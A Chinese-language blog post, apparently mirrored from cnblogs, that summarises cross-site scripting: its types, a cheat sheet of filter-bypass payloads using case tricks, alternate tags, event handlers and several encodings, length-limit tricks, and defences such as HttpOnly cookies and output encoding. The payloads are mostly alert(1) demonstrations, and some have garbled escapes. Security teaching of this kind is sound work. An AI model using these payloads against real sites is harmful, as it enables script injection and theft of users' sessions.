zoukankan      html  css  js  c++  java
  • xss原理绕过防御个人总结

    xss原理

    xss产生的原因是将恶意的html脚本代码插入web页面,底层原理和sql注入一样,都是因为js和php等都是解释性语言,会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容

    xss分类

    • 存储型xss:
      js脚本代码会插入数据库,具有一定的持久性
    • 反射型xss:
      js经过后端php等语言处理
    • dom型xss:
      和反射型xss类似,但是不经过后端服务器的处理

    xss绕过总结:

    自身绕过

    <script>alert('xss')</script>  //没有过滤
    <Script>alert('xss')</Script> //大小写绕过
    <scscriptript>alert('xss')</scscriptript> //嵌套绕过
    <scx00ript>alert('xss')</scx00ript> //空字节绕过
    " oonnclick=alert('XSS') //           //闭合单双引号绕过(对于html实体输入的和过滤< >)
    

    其他标签绕过

    <a herf="javascript:alert(1)">show</a> 
    <body onload=alert(1)>
    <input type=image src=x:x onerror=alert(1)>
    <isindex onmouseover="alert(1)" >
    <form oninput=alert(1)><input></form>
    <textarea autofocus onfocus=alert(1)>
    <input oncut=alert(1)>
    <svg onload=alert(1)>
    <keygen autofocus onfocus=alert(1)>
    <video><source onerror="alert(1)">
    <marquee onstart=alert(1)>
    

    编码绕过

    base64编码绕过

    <a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">               
    

    Unicode编码绕过

    在线编码地址:http://tool.chinaz.com/tools/unicode.aspx

    <img src="x" onerror="eval('u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029u003b')">
    <script>u0061lert(1)</script>
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
    

    url编码绕过

    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    

    Ascii码绕过

    <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
    

    可使用浏览器插件快速编码

    hex绕过

    <img src=x onerror=eval('x61x6cx65x72x74x28x27x78x73x73x27x29')>
    

    十进制,八进制,十六进制

    <img src=x onerror="u0061lert(1)"/>
    <img src=x onerror="eval('141lert(1)')"/>
    <img src=x onerror="eval('x61lert(1)')"/>
    <img src=x onerror=”&#x0061;lert(1)”/>
    <img src=x onerror=”&#97;lert(1)”/>
    <img src=x onerror=”eval(‘alert(1)‘)”/>
    

    补充:on事件

    onsearch
    onwebkitanimationend
    onwebkitanimationiteration
    onwebkitanimationstart
    onwebkittransitionend
    onabort
    onblur
    oncancel
    oncanplay
    oncanplaythrough
    onchange
    onclick
    onclose
    oncontextmenu
    oncuechange
    ondblclick
    ondrag
    ondragend
    ondragenter
    ondragleave
    ondragover
    ondragstart
    ondrop
    ondurationchange
    onemptied
    onended
    onerror
    onfocus
    onformdata
    oninput
    oninvalid
    onkeydown
    onkeypress
    onkeyup
    onload
    onloadeddata
    onloadedmetadata
    onloadstart
    onmousedown
    onmouseenter
    onmouseleave
    onmousemove
    onmouseout
    onmouseover
    onmouseup
    onmousewheel
    onpause
    onplay
    onplaying
    onprogress
    onratechange
    onreset
    onresize
    onscroll
    onseeked
    onseeking
    onselect
    onstalled
    onsubmit
    onsuspend
    ontimeupdate
    ontoggle
    onvolumechange
    onwaiting
    onwheel
    onauxclick
    ongotpointercapture
    onlostpointercapture
    onpointerdown
    onpointermove
    onpointerup
    onpointercancel
    onpointerover
    onpointerout
    onpointerenter
    onpointerleave
    onselectstart
    onselectionchange
    onanimationend
    onanimationiteration
    onanimationstart
    ontransitionend
    onafterprint
    onbeforeprint
    onbeforeunload
    onhashchange
    onlanguagechange
    onmessage
    onmessageerror
    onoffline
    ononline
    onpagehide
    onpageshow
    onpopstate
    onrejectionhandled
    onstorage
    onunhandledrejection
    onunload
    

    长度限制的绕过:

    可以利用事件如:

    "onclick=alert(1)// 来减少字数
    

    将代码藏入location.hash中,构造为

    "onclick="eval(location.hash.sustr(1))
    

    注释将两个文本框变为一个

    奇怪的符号解析

    <svg/onload=alert()>
    <script/src=//⑭.₨>
    

    参考文章:https://nosec.org/home/detail/3206.html

    xss防御

    1. 设置cookie中设置httponly属性,那么js脚本将无法读取到cookie信息
      PHP5(PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中设置,设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性)
      session.cookie_httponly =
      当然代码也能实现:
      ini_set("session.cookie_httponly", 1);
      session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
    2. 限制输入长度,在业务内减少用户能输入长度,像年龄,用户名等地方限制15个字符,几乎就很难xss(个人理解)
    3. 过滤业务用不到的字符如< >,script等标签字符
    4. 输出检查,输出到url的进行URLEncode,输出进行html实体化输出
    5. 成熟框架相对安全些(注意是相对)

    参考文章

    深入理解浏览器解析机制和XSS向量编码:http://bobao.360.cn/learning/detail/292.html
    XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html
    《白帽子讲web安全》
    最后欢迎访问我的个人博客:https://lnng.top/
    说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

  • 相关阅读:
    Socket基础一
    MyBatisPlus【目录】
    MyBatis(十一)扩展:自定义类型处理器
    MyBatis(十一)扩展:批量操作
    MyBatis(十一)扩展:存储过程
    MyBatis(十一)扩展:分页插件PageHelper
    MyBatis(十)插件 4
    09月07日总结
    09月06日总结
    09月03日总结
  • 原文地址:https://www.cnblogs.com/Lmg66/p/13340401.html
Copyright © 2011-2022 走看看